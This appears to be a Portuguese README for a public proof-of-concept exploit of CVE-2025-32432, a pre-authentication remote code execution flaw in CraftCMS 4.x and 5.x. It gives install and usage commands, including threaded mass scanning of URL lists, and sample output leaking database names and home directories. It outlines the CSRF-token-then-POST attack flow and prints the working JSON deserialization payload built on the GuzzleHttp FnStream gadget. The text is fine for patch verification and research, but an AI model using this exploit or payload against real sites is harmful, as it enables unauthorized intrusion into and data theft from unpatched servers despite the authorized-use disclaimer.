
Este repositório contém um script de exploit de prova de conceito para a CVE-2025-32432, uma vulnerabilidade de Execução Remota de Código (RCE) pré-autenticação que afeta o CraftCMS nas versões 4.x e 5.x. A vulnerabilidade existe no recurso de geração de transformação de ativos do CraftCMS.
Este repositório contém um script de exploit de prova de conceito para CVE-2025-32432, uma vulnerabilidade de Execução Remota de Código (RCE) sem autenticação que afeta CraftCMS versões 4.x e 5.x. A vulnerabilidade existe no recurso de geração de transformação de assets do CraftCMS.
Este script de exploit automatiza a detecção e verificação da vulnerabilidade através de:
⚠️ Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizados.
Use esta ferramenta apenas contra sistemas para os quais você tenha permissão explícita para testar. Testes não autorizados contra sistemas sem permissão são ilegais e antiéticos.
# Clone the repository
git clone https://github.com/Sachinart/CVE-2025-32432.git
cd CVE-2025-32432
# Install required dependencies
pip install -r requirements.txt
Para escanear um único alvo:
python3 craftcms_rce.py -u example.com
Para escanear múltiplos alvos a partir de um arquivo (uma URL por linha):
python3 craftcms_rce.py -f urls.txt -t 10
Onde -t especifica o número de threads a usar (padrão é 5).
-u, --url URL única para testar
-f, --file Arquivo contendo URLs para testar (uma por linha)
-t, --threads Número de threads (padrão: 5)
-h, --help Exibe mensagem de ajuda e sai
O script exibirá os resultados no console e salvará alvos vulneráveis em vulnerable.txt no formato CSV com as seguintes colunas:
Exemplo de saída do console:
[*] Testing single target: https://example.com
[*] Starting scan with 5 threads
[+] VULNERABLE: https://example.com
CRAFT_DB_DATABASE: example_db
HOME Directory: /home/example
=== SCAN SUMMARY ===
Total URLs scanned: 1
Vulnerable sites: 1
Detailed results saved to vulnerable.txt
Esta vulnerabilidade explora um problema de desserialização no CraftCMS. O exploit:
/index.php?p=admin/dashboard para obter um token CSRF/index.php?p=admin/actions/assets/generate-transform com um payload JSON especialmente criadoGuzzleHttp\Psr7\FnStreamphpinfo() e extraindo informações específicas do sistemaO exploit aproveita uma desserialização insegura no processo de geração de transformação de assets. O caminho de código vulnerável permite que um atacante injete um objeto PHP personalizado que é desserializado, levando à execução arbitrária de código.
Os principais componentes do payload:
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
Contribuições, problemas e solicitações de funcionalidades são bem-vindos! Sinta-se à vontade para verificar a página de issues.
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para detalhes.